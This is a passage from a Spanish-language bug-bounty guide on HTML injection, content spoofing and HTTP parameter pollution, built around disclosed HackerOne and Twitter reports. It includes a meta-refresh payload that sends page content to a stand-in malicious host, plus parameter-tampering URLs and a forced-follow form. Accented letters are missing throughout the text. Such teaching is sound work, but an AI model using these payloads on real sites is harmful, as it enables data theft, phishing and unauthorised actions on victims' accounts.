Con este ejemplo, que tal si se te ocurre inyectar una etiqueta meta como la siguiente:

1 <meta http-equiv="refresh" content='0; url=https://sitiomalvado.com/log.php?text=

el navegador podra enviar todo el contenido que se encuentre entre las dos comillas simples. Ahora
bien, regresemos, esto era lo que saba y fue divulgado en HackerOne en el informe #1105784 por
intidc (https://hackerone.com/intidc). Cuando eso vino a ser pblico, mi corazn se baj un poco.
De acuerdo a la opinin de HackerOne, ellos confiaron en una implementacin de Redcarpet (una
biblioteca de Ruby para el procesamiento de Markdown) para hacer escapar la salida HTML de
cualquier entrada en Markdown la cual es pasada directamente al DOM del HTML (por ej., la pgina
web) por la via de dangerouslySetInnerHTML en su componente React. Como nota aclaratoria, React
es una biblioteca Javascript que puede ser utilizada para actualizar de forma dinmica parte del
contenido de una pgina web sin recargar toda la pgina.
El DOM se dirige a una Interfaz de Programacin de la Aplicacin (API) para un HTML vlido
y documentos XML bien formados. Esencialmente, de acuerdo con Wikipedia, el DOM es una
3
https://hackerone.com/reports/112935
4
https://hackerone.com/reports/110578
Inyeccin HTML 14

convencin independiente de la plataforma y del lenguaje para representar e interactuar con objetos
en documentos HTML, XHTML y XML.
En la implementacin de HackerOne, no estaban haciendo escapar apropiadamente la salida del
cdigo HTML lo cual conduca a un exploit en potencia. Ahora, dicho eso, viendo el informe pens
que poda probar el cdigo nuevo. Fui de regreso al editor y escrib:

1 [prueba](http://www.torontowebsitedeveloper.com "prueba ismap="alert xss" yyy="p\


2 rueba"")

con lo que obtuve de vuelta:

1 <a title="'prueba" ismap="alert xss" yyy="prueba" &#39; ref="http://www.toronotw\


2 ebsitedeveloper.com">prueba</a>

Como puedes ver, estuve habilitado a inyectar HTML dentro de la etiqueta <a>. Como resultado,
HackerOne reverti la solucin y comenz a trabajar de nuevo en el escapado de la comilla simple.

Recomendaciones
El hecho que un cdigo est actualizado no significa que algo est solucionado. Contina
haciendo pruebas. Cuando se despliega un cambio de cdigo, eso significa que el cdigo
nuevo tambin puede contener errores.
Adicionalmente, si sientes que algo no anda bien, sigue profundizando! Yo saba que el
hecho de soltar una comilla simple poda ser un problema, pero lo que no saba era como
explotarlo y por eso me detuve. Deb haberme mantenido en la bsqueda. De hecho, aprend
sobre el exploit de la actualizacin de pgina por medio de la etiqueta meta al leer sobre
XSS en el blog de Jigsaw blog.innerht.ml (este est incluido en el captulo sobre Recursos),
pero fue hasta mucho despus.

3. Contenido engaoso en el sitio de Within Security


Dificultad: Baja
URL: withinsecurity.com/wp-login.php
Enlace del informe: https://hackerone.com/reports/1110945
Fecha del informe: 16 de Enero, 2015
Recompensa recibida: $250
Descripcin:
5
https://hackerone.com/reports/111094
Inyeccin HTML 15

Aunque el contenido engaoso tcnicamente es distinto al tipo de vulnerabilidad inyeccin HTML,


lo he incluido aqu debido a que comparte la misma naturaleza de que un atacante tiene un sitio que
muestra el contenido de su eleccin.
El sitio web de Within Security fue construido sobre la plataforma de Wordpress la cual incluye
la ruta hacia el registro en withinsecurity.com/wp-login.php (desde entonces, el sitio ha sido
combinado con la plataforma principal de HackerOne). Un hacker se dio cuenta que durante el
proceso de registro, si suceda un error, el sitio de Within Security poda mostrar acceso_denegado,
el cual corresponda tambin al parmetro de error en la url:

1 https://withinsecurity.com/wp-login.php?error=acceso_denegado

Habiendo descubierto esto, el hacker intent modificar el parmetro de error y encontr que lo que
fuese que escribiera estaba siendo renderizado en el sitio como parte del mensaje que era presentado
a los usuarios. Aqu est el ejemplo que se utiliz:

1 https://withinsecurity.com/wp-login.php?error=Tu%20uenta%20ha%20%sido%20hackeada

Contenido engaoso en el sitio de WithinSecurity

La clave aqu era fijarse en el parmetro de la URL que estaba siendo renderizado en la pgina.
Aunque no lo explican en el informe, podra pensar que el hacker se dio cuenta que el mensaje
acceso_denegado tambin estaba siendo incluido en la URL. Simplemente con cambiar el parmetro
probablemente revel la vulnerabilidad de la cual inform.
Inyeccin HTML 16

Recomendaciones
Siempre mantn un ojo en los parmetros de la URL que estn siendo pasados y renderi-
zados en el contenido del sitio. Esto podra presentar oportunidades para que los atacantes
engaen a las vctimas al realizar alguna accin mal intencionada.

Resumen
La inyeccin HTML presenta una vulnerabilidad para los sitios y los desarrolladores porque esta
puede ser utilizada para desviar a los usuarios a que enven informacin sensible o que visiten sitios
web maliciosos o mal intencionados. Conocido de otra manera como ataques de phishing.
Para descubrir estas vulnerabilidades no siempre se trata de enviar HTML plano sino de explorar
como un sitio podra estar renderizando el texto que hayas ingresado, as como los caracteres
codificados en la URI. Y, mientras no sea completamente lo mismo que una inyeccin HTML,
el contenido engaoso es parecido en que ste se introduce en algn tipo de entrada que es
reflejado nuevamente en la pgina HTML que obtiene la vctima. Los hackers siempre deberan estar
examinando la oportunidad de manipular los parmetros de una URL y que estos sean renderizados
en el sitio.
Contaminacin de parmetros HTTP
Descripcin
La contaminacin de parmetros HTTP o su forma corta de referirse HPP, sucede cuando un sitio
web acepta datos provistos por el usuario y usa esos datos para hacer una solicitud HTTP a otro
sistema sin haber validado esos datos de entrada. Esto puede suceder de una o dos maneras, por el
lado del Servidor (en el sistema backend) o en el lado del cliente.
En el sitio Stack Overflow, SilverlightFox provee un fabuloso ejemplo de un ataque HPP en el lado del
Servidor; supongamos que tenemos el siguiente sitio web, https://www.example.com/transferirDinero.php,
al cual se puede acceder por el mtodo POST tomando los siguiente parmetros:

cantidad=1000&desdeCuenta=12345

Cuando la aplicacin procese esta solicitud, har su propia solicitud POST a otro sistema backend,
la que procesa la transaccin con un parmetro fijo nombrado haciaCuenta.

URL del sistema backend separado: https://backend.example.com/realizarTransferencia.php


Parmetros del backend por separado: haciaCuenta=9876&cantidad=1000&desdeCuenta=12345

Ahora, si el sistema backend solamente toma el ltimo parmetro cuando estos se han mandado
duplicados y supongamos que un hacker altera la solicitud POST al sitio web para enviar un
parmetro haciaCuenta parecido al siguiente:

cantidad=1000&desdeCuenta=12345&haciaCuenta=99999

Un sitio vulnerable al tipo de ataque HPP podra encaminar la solicitud a otro sistema backend
enviando algo como lo siguiente:

haciaCuenta=9876&cantidad=1000&desdeCuenta=12345&haciaCuenta=99999

En este caso, el segundo parmetro haciaCuenta enviado por un usuario mal intencionado podra
haber anulado la solicitud del primer parmetro del backend y transferir el dinero al nmero de
cuenta enviado por el usuario mal intencionado (99999) en vez de ir a la cuenta establecida por el
sistema (9876).
Contaminacin de parmetros HTTP 18

Esto es til si un atacante pudiera modificar sus solicitudes, las cuales fueran procesadas en un
sistema que sea vulnerable. Pero an podra ser ms til a un atacante si l pudiera generar un
enlace desde otro sitio web y atraer a los usuarios a que, sin su conocimiento o consentimiento,
enven la solicitud maliciosa con el parmetro agregado por el atacante.
Desde la otra perspectiva, el ataque HPP en el lado del cliente tiene que ver con la inyeccin de
parmetros adicionales a los enlaces y otros atibutos del tipo src. Tomando prestado un ejemplo de
la OWASP, supongamos que tenemos este cdigo:

1 <? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>


2 <a href="/page.php?action=view&par='.<?=$val?>.'">Mrame, hazme clic!</a>

Esto toma un valor para el parmetro par desde la URL, se asegura que el contenido que recibir el
parmetro est a salvo de caracters extraos y crea un enlace fuera de l. Entonces, si un atacane
enva esto:
http://host/page.php?par=123%26action=edit

el enlace que resultar podra verse algo as:


<a href="/page.php?action=view&par=123&amp;action=edit">Mrame, hazme clic!</a>

Esto podra llevar a que la aplicacin acepte la accin de editar en vez de la accin visualizar.
Ambos tipos de ataques HPP, tanto del lado del servidor como del lado del cliente dependen de
la tecnologa backend que est siendo utilizada y de cmo se comporte cuando reciba mltiples
parmetros con el mismo nombre. Por ejemplo, PHP/Apache utiliza la ltima coincidencia que
aparezca, Apache Tomcat utiliza la primera, ASP/IIS utiliza todas las coincidencias que aparezcan,
etc. Como resultado tenemos que, no hay una sola garanta que en la manipulacin y envo de
mltiples parametros con el mismo nombre y la bsqueda de ataques HPP no dejar de tomar un
tiempo para experimentar y confirmar cmo funciona el sitio web que ests evaluando.

Ejemplos

1. Botones para compartir en medios sociales del sitio HackerOne


Dificultad: Baja
URL: https://hackerone.com/blog/introducing-signal-and-impact
Enlace del informe: https://hackerone.com/reports/1059536
Fecha del informe: 18 de Diciembre, 2015
Recompensa recibida: $500
6
https://hackerone.com/reports/105953
Contaminacin de parmetros HTTP 19

Descripcin: HackerOne incluye enlaces para compartir contenido en sitios de redes sociales
populares como Twitter, Facebook, etc. Esos enlaces a los medios sociales incluyen parmetros
especficos al enlace del medio social.
La vulnerabilidad fue descubierta cuando un hacker pudo pegarse a un parmetro de otra URL del
enlace y hacerlo que apuntara a un sitio de su eleccin, en el cual HackerOne lo poda incluir en
la solicitud POST hacia el sitio de medios sociales, y por lo tanto, resultaba en un comportamiento
inesperado.
El ejemplo utilizado en el informe de la vulnerabilidad, fue cambiar la siguiente URL:
https://hackerone.com/blog/introducing-signal

por esta:
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

Fjate en el parmetro u que aadi. Si el nuevo enlace alterado hubiese sido presionado por los
usuarios visitantes de HackerOne que quieren compartir algo por medio de los enlaces de medios
sociales, el enlace malicioso resultante se ver algo parecido a esto:
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.

Aqu tenemos que, el ltimo parmetro u que fue aadido precede al primero y, por lo tanto, ser el
que se utilice en la publicacin de Facebook. Cuando se publique en Twitter, el texto predeterminado
sugerido tambin podra ser cambiado por:
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_si-
te:https://vk.com/durov

Recomendaciones
Procura estar en la bsqueda de oportunidades cuando los sitios web estn aceptando
algn contenido y parecen estar contactando con otro servicio web, como sitios de medios
sociales.
En estas situaciones puede ser posible enviar contenido que est siendo dejado pasar
directamente sin pasar bajo las revisiones de seguridad pertinentes.

2. Desinscribirse de las Notificaciones en Twitter


Dificultad: Baja
URL: twitter.com
Enlace del informe: blog.mert.ninja/twitter-hpp-vulnerability7
Fecha del informe: 23 de Agosto, 2015
7
http://blog.mert.ninja/blog/twitter-hpp-vulnerability
Contaminacin de parmetros HTTP 20

Recompensa recibida: $700


Descripcin:
En Agosto de 2015, el hacker Mert Tasci detect en una URL interesante mientras se estaba
desinscribiendo de recibir notificaciones de Twitter:
https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26
(He acortado un poco este informe para hacerlo conciso). Te has fijado en el parmetro UID? Sucede
que ese el identificador de usuario de tu cuenta de Twitter. Ahora, sabiendo eso, l hizo lo que asumo
la mayora de hackers hubiramos hecho, cambiar ese UID por el de otro usuario y ... nada. Twitter
devolvi un error.
l, estando con mucha determinacin donde otros se hubieran rendido, Mert intent aadir un
segundo parmetro UID a la URL para que luciera de esta forma (nuevamente, he acortado el
informe):
https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26
y ... XITO! l pudo desinscribir a otro usuario de las notificaciones por correo. Como vemos, Twitter
era vulnerable a HPP para desisncribir usuarios.

Recomendaciones
Pens en una descripcin muy corta, el esfuerzo de Mert demostr la importancia de la
persistencia y conocimiento. Si l hubiera desistido de buscar la vulnerabilidad despus
de probar el UID de otro usuario como la nica opcin y no hubiese sabido del tipo de
vulnerabilidad HPP, y no hubiera recibido su recompensa de $700.
Tambin, hay que estar pendiente de los parmetros como UID, que son incluidos en las
solicitudes HTTP, tal como lo he visto en muchos informes a lo largo de mis investigaciones,
lo cual implica la manipulacin de sus valores y ver como las aplicaciones web se comportan
de una forma inesperada.

3. Interacciones web en Twitter


Dificultad: Baja
URL: twitter.com
Enlace del informe: Parameter Tampering Attack on Twitter Web Intents8
Fecha del informe: Noviembre, 2015
Recompensa recibida: No revelada
Descripcin:
8
https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
Contaminacin de parmetros HTTP 21

De acuerdo a su documentacin, las Interacciones va web en sitios externos a Twitter, proveen flujos
optimizados en ventanas emergentes para trabajar con tweets o interactuar con usuarios de Twitter
por medio de: Tweet, Respuestas, Retweet, Me gusta y Seguir usuarios. Esto har posible que los
ususarios interacten con los contenidos de Twitter en el contexto de tu sitio sin dejar la pgina que
se encuentra visitando o tener que autorizar una nueva aplicacin web para tener la interaccin.
Aqu hay un ejemplo de cmo luce esto:

Twitter Intent

Haciendo estas pruebas, el hacker Eric Rafaloff encontr que los cuatro tipos de interacciones,
seguir un usuario, simpatizar con un tweet, hacer un retweet o simplemente publicar un tweet eran
vulnerables a HPP.
Contaminacin de parmetros HTTP 22

Viendo la publicacin en su blog, si Eric creaba una URL con dos parmetros screen_name como
esta:
https://twitter.com/intent/follow?screen_name=twitter&screen_name=erictest3
Twitter podra manejar la solicitud dando precedencia al segundo parmetro screen_name haciendo
caso omiso del primero. De acuerdo a Eric, el formulario web para lanzar el ataque era parecido a
este:

1 <form class="follow" id="follow_btn_form" action="/intent/follow?screen_name=eri\


2 crtest3" method="post">
3 <input type="hidden" name="authenticity_token" value="...">
4 <input type="hidden" name="screen_name" value="twitter">
5
6 <input type="hidden" name="profile_id" value="783214">
7
8 <button class="button" type="submit" >
9 <b></b><strong>Seguir</strong>
10 </button>
11 </form>

Una vctima podra ver el perfil del usuario definido en el primer parmetro screen_name, twitter,
pero al hacer clic al botn, l poda terminar siguiendo a erictest3.
De forma similar, al presentar interacciones para dar me gusta a un tweet, Eric descubri que poda
incluir un parmetro screen_name a pesar de no tener relevancia con el tweet que desearan marcar
como favorito. Por ejemplo:
https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=erictest3
Dando un Me gusta a este tweet podra resultar en que una vctima sera presentada con el perfil
correcto del propietario, pero al hacer clic en Seguir podra terminar, nuevamente, siguiendo a
erictest3.

Recomendaciones
Esto es similar a la vulnerabilidad anterior de Twitter respecto al parmetro UID. Sorpren-
dentemente, cuando un sitio es vulnerable a una falla como HPP, esto podra ser un indicio
de un problema sistemtico ms amplio. Algunas veces, si ecuentras una vulnerabilidad
como esta, vale la pena tomarse el tiempo de explorar la plataforma en su totalidad para
ver si hay otras reas donde podras estar habilitado a explotar un comportamiento similar.
En este ejemplo, tal como en el UID de arriba, Twitter estaba pasando un identificador de
usuario, screen_name el cual era susceptible a un ataque HPP basado en su lgica del
sistema backend.
Contaminacin de parmetros HTTP 23

Resumen
El riesgo que posee HTTP Parameter Pollution o contaminacin de parmetros HPP depende
realmente de las acciones realizadas por el sistema backend de un sitio y hacia donde ser enviado
el parmetro contaminado.
Descubrir estos tipos de vulnerabilidades depende de la experimentacin, porque mas all de las
otras vulnerabilidades las acciones que pueda llevar a cabo el sistema backend de un sitio podran
ser una caja negra completa para un hacker. Mas usual que lo normal, como un hacker, tendrs que
echar un pequeo vistazo a las acciones que realiza un sistema backend despus de haber recibido
los datos que enviaste.
A travs de la prueba y error, podras descubrir situaciones donde un sitio se est comunicanco con
otro Servidor y entonces iniciar la prueba de contaminacin de parmetros. Los enlaces a medios
sociales usualmente son un buen primer paso pero recuerda mantenerte profundizando y pensar en
el ataque HPP cuando evales las sustituciones de parmetros, como en el caso de los UIDs.

You might also like